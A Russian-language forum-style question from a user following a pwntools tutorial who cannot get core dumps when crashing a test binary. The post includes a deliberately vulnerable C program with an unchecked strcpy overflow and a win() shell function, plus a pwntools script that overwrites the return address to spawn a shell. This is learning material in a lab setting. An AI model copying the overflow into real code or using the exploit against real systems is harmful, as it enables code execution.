Я пытаюсь использовать pwntools и следую этому руководству для создания Corefiles для автоматизации эксплуатации.
Код исполняемого файла ./crash :
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
После ulimit -c unlimited
если я запускаю исполняемый файл (из bash) с достаточно большим вводом, он вылетает и генерирует файлы ядра.
Использование pwntools:
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
Если я запускаю этот скрипт (из bash, как от моего пользователя, так и от пользователя root) с одним и тем же большим вводом, он вылетит, но не сгенерирует файл ядра.
Я также попытался отредактировать /etc/sysctl.conf
и установил fs.suid_dumpable = 1
Моя операционная система - Ubuntu 16.04.3 LTS x64 с универсальным ядром 4.4.0-89.